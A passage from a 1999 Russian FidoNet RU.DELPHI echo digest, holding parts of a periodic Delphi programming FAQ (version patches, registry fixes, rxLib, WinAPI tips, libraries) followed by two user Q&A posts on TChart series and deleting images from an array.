известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [7]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [8]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [9]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [10]http://www.rxlib.com. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 337 of 341 - 327 From : Alexey_Mahotkin 2:5020/433 14 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 942542405 25763 127.0.0.1 (14 Nov 1999 01:20:05 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 14 Nov 1999 01:20:05 GMT файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [11]http://www.altavista.com, [12]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [13]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [14]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [15]http://www.rxlib.com. Очень полезным ресурсом является Delphi Bug List, лежащий по адресу [16]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. В FIDO вы можете подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [17]Преамбула [18]Доступность этого F.A.Q. [19]Контрибуторы [20]Источники информации [21]Вопросы, связанные с конкретными версиями Delphi [22]Вопросы, однозначно сводящиеся к использованию rxLib [23]Вопросы, возникающие от неумения читать книжки [24]Библиотеки, инструменты и т. п. [25]Относительно большие ответы/примеры кода [26]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. Если не помогает, то попробуйте добавить в system.ini: [Display] "BusThrottle"="On" При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 338 of 341 - 328 From : Alexey_Mahotkin 2:5020/433 14 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 942542406 25766 127.0.0.1 (14 Nov 1999 01:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 14 Nov 1999 01:20:06 GMT просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [27]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 339 of 341 - 329 From : Alexey_Mahotkin 2:5020/433 14 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 942542407 25769 127.0.0.1 (14 Nov 1999 01:20:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 14 Nov 1999 01:20:07 GMT A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [28]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [29]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). Q: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Q: Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? A: Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. Q: Я создал объект TStrings, но при попытке обращения к нему выдается ошибка. В чем проблема? A: TStrings -- это абстрактный класс. Вам нужен TStringList. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [30]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [31]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [32]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([33]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [34]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [35]http://www.signsoft.com/opengl. Информацию -- на [36]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [37]http://reality.sgi.com/mjk за примерами и [38]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [39]http://www.chami.com/tips/delphi/103096D.html Еще на [40]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [41]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [42]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [43]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 340 of 341 From : Alexandr Konev 2:5079/46.69 14 Nov 99 13:08:00 To : Grigoriy Gruben Subj : Графики!!! ──────────────────────────────────────────────────────────────────────────────── Здравствуй тебе, дружище Grigoriy! Пятница Hоябрь 12 1999, Grigoriy Gruben писал следующее: GG> 1. Как нарисовать 10 графиков (а может 1000). GG> Ведь Tee Chart требует *на этапе программирования* ввести GG> количество графиков (serieslist), а я не знаю буду рисовать 1 график GG> или 1000 (в файле хранятся трассы наподобие кардиограммы). У TChart есть метод AddSeries GG> 2. Как GG> лучше организовать зумминг (увеличение) графика, (битмап не пойдет GG> именно из-за этого - чем больше, тем зернистей; мне надо как в кореле GG> - векторным). В TChart без пpоблем. Иначе делай гpафик в логических кооpдинатах, затем пеpесчитывай ключевые точки гpафика на физические кооpдинаты окна (пpи заданных коэффициентах масштабиpования и скpолинга) и отобpажай. Гpафик должен быть вектоpным. До новых встреч, Grigoriy --- GoldED 3.00.Beta3+ * Origin: Чужой код - потемки. (2:5079/46.69) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 341 of 341 From : Anatoly Podgoretsky 2:5020/400 15 Nov 99 00:58:00 To : All Subj : D4:Операции с массивом изображений. ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: nps@vnet.ee .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <80nb6t$9h6$4@ddt.demos.su> From: "Anatoly Podgoretsky" У тебя гигантское количество ошибок и недостатков в такой простой задаче. Levon Zakharchenko сообщил в новостях следующее:942609861@p42.f1230.n5020.z2.ftn... > Да забудет беда твой адpес All, а удача вспомнит его. > > Есть несколько изображений в массиве. Hужно удалить N-й элемент массива. > Делается это, ИМХО, по такому принципу: все элементы сдвигаются "влево" и N-й > элемент затирается, после чего удаляется последний элемент. Т.е. > [03] [03] [87] [63] [64] [75] [68] [25] [74] [68] [01] > Удаляем пятый элемент. > [03] [03] [87] [63] [75] [68] [25] [74] [68] [01] [ ] Что это за номер в скобках? > Делаю я это так (действие выполняется при нажатии на одно из изображений) > > === Cut === > procedure TGeneral.Image5Click(Sender: TObject); > Var > I:Integer; > begin > If ShipDelete=True then > Begin > _{TekShip - число, которое на 1 больше созданных изображений в массиве}_ > For I:=(Sender as TImage).Tag to TekShip-2 do За основу определения картинки берешь Tag, но нигде его не корректируешь, при втором клике получишь проблемы Hеизвестно как определен массив Hеизвестно так же как у тебя первоначально назначены теги, какой тег для самого первого элемента массива, здесь тоже может быть ошибка > Begin > Images[I]:=Images[I+1]; > Images[I].Picture:=Images[I+1].Picture; Images[I].Tag := I; > Images[I].Refresh; > Images[I].Repaint; > _Refresh и Repaint сделал для перерисовки изображений на форме_ > End; Зачем оба > Images[I].Visible:=False; > Images[I].Free; Попытка использования индекса за пределами цикла, неопределен Здесь удаляешь неизвестно что, но только не нужный тебе элемент Images[TekShip-1].Visible:=False; Images[TekShip-1].Free; Hо и это неправильно, удаляться будет последний эллемент, а удалять надо Images[(Sender as TImage).Tag] до начала цикла Кроме того не корректируешь значение TekShip, а у тебя ведь стало на единицу меньше. TekShip := TekShip-1; > _Удаляется последнее изображение_ > ShipDelete:=False; > end; === Cut === > > Запускаю программу. а экране 4 изображения. Кликаю на 2-м. Изображения не > изменяются (так и нужно), но удаляется 4-е, т.е. последнее, вместо того, на > которое нажал. Помогите исправить. Hужно, чтобы на экране удалялось то, на > которое нажал, а в массиве все оставшиеся изображения сдвигались в сторону > удаленного. В массиве у тебя все сдвигается нормально. Остальные ошибки даже рассматривать не хочется. -- С уважением Анатолий Подгорецкий http://nps.vnet.ee --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400)